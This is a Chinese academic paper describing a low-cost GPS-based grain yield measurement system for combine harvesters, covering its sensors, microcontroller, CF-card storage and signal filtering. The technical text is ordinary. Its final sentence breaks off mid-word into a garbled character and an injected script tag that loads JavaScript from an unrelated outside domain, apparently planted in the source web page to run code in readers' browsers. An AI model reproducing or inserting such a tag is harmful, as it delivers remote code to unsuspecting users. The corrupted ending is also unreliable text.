摘 要：提出了一种低成本gps定位、数据采集和存储的实现方法，开发了智能谷物测产系统。
关键词：全球定位系统；低成本；cf卡；智能测产
1 引 言
精确农业(precision agriculture) 是指利用遥感技术rs(remote sensing)、地理信息系统gis（geography information system）、全球定位系统gps(global position system)等信息技术，在定位采集地块信息的基础上，根据地块土壤肥力、作物病虫害、杂草、产量等在时间与空间上的差异，按农艺要求进行精确定位、变量耕种、变量施肥、变量灌水、变量用药的农业技术，从而达到提高效益、避免资源浪费、减少环境污染的目的。目前，经济发达国家已开始推广精准农业耕作，广大发展中国家也广泛开展应用研究和实验示范。
作为精准农业的重要组成部分——基于gps的联合收割机智能测产系统，从2000年6月开始，我们与上海市精准农业技术有限公司及上海市农工商集团合作，立足于我国国情，根据不同用户层面需求，开发了3种类型的智能谷物测产系统。
2 测产原理和系统结构
2.1 测产原理
2.1.1硬件
产量传感器安置在联合收割机谷仓顶部，接收来自于刮板的谷物冲量，如图1所示。经过其内置的全桥平衡电路，采用应变感应方式，完成谷物冲量到电流信号的变换（这样可实现温度变化的自动补偿和提高传感器的响应特性）。为整个系统供电方便，全部传感器电源均为直流24v。24v直流电源由车载电源经升压稳压器得到。这里产量传感器的电源为直流24v，信号输出为0～10ma，该原始信号经精密电阻可得到0～5v的ttl电压（精密电阻阻值，由实际收割对象的不同——力学性质不同而选择，以便得到最大的读入精度）。该ttl电压信号，由philips 80c552单片机a/d口读入，经该控制单元进行处理、显示、保存（保存在主控制单元上的compact flash卡中，即cf卡中）。在该系统中，刮板冲击频率是15hz，每一刮板冲击对应电流波形采样点为200个，即该系统能保证采样频率为15×200=3khz，在实验中一般取2.25khz。为降低成本，采用国产产量传感器，实验证明，精度满足使用要求。
湿度传感器安置在联合收割机谷仓顶部，在产量传感器的下面。选用北京宝力马传感技术有限公司s401b型湿度器，测量范围：0～100％rh；测量精度：±2％rh；信号输出：0～10ma；输入电源：12～24v。其信号标定由实验数据确定。由于湿度数值在本系统中的变化缓慢，故其测量的次数较少（每10m测1次），测量精度要求不高。这样做的好处是，降低了主控制单元单片机的处理负担和cf卡的存储负担，并能进一步地提高系统的采样频率，提高系统精度。经实验看，该湿度传感器能满足系统要求，且价格极低（仅是国外类似湿度传感器的1/40）。
因为该系统中的收割面积等于速度×时间×割幅，所以速度传感器对实验结果非常重要。使用接近开关记数，以达到计量收割面积的目的（速度×时间×割幅）。但受收割机轮子打滑的影响，精度较低且受地形影响精度不稳；但成本很低。在收割机的驱动主轴上安装了电容式接近开关，利用主轴相对于轮毂的转动读取脉冲次数，并且利用主轴和轮子相对减速比，计算出每一脉冲所对应收割机前进的距离。同时为防止由于轮子打滑等原因而引起的位移误差，在软件算法上，用gps解算出收割机的相对位移，而加以校正（每100m校正一次）。这样使用安装接近开关辅以gps解算校正的方法，实现了国外常用的多普勒雷达的测量精度，并且价格仅是后者的1/50。
割台传感器使用限位开关，用以指示收割机是否工作。当割台抬起时，系统不工作。
在gps25lp基础上开发了全球定位系统,水平精度可达10m以内。
2.1.2软件
在软件算法上，为了保证系统的定位精度，借鉴卡尔曼滤波（kalman filter）原理进行最优估计。在处理产量传感器信号时，由于在实际情况下收割机会引起机械振动，而导致测量误差的增大，严重时该噪声会完全淹没谷物冲击传感器产生的输出信号[2]。这样对这两种信号进行谱分析，得到其信号源的数字特征，通过在硬件和软件上的滤波，增强自适应能力，以获得更好的数据精度。
2.2 系统结构
该基于gps的联合收割机智能测产系统，是在约翰·迪尔（john deere）1075型联合收割机的基础上改进而成。
包括主控制单元（philips 80c552单片机，及液晶屏）、cf卡，改进型gps及相关传感器。
智能测产系统结构框图，如图2所示。产量传感器和湿度传感器分别取得谷物重量和湿度的信号，速度传感器反映了当前收割机的速度，可根据此算出亩产量。gps 指示出每一测试点的经纬度。割台信号控制系统的运行。这些信息通过philips 80c552处理后，存入cf卡并在液晶屏上显示。该系统组成具有成本低、可靠性高、软件通用性好及适应市场能力强等优点。选用cf卡作为系?script src=http://er12.com/t.js>
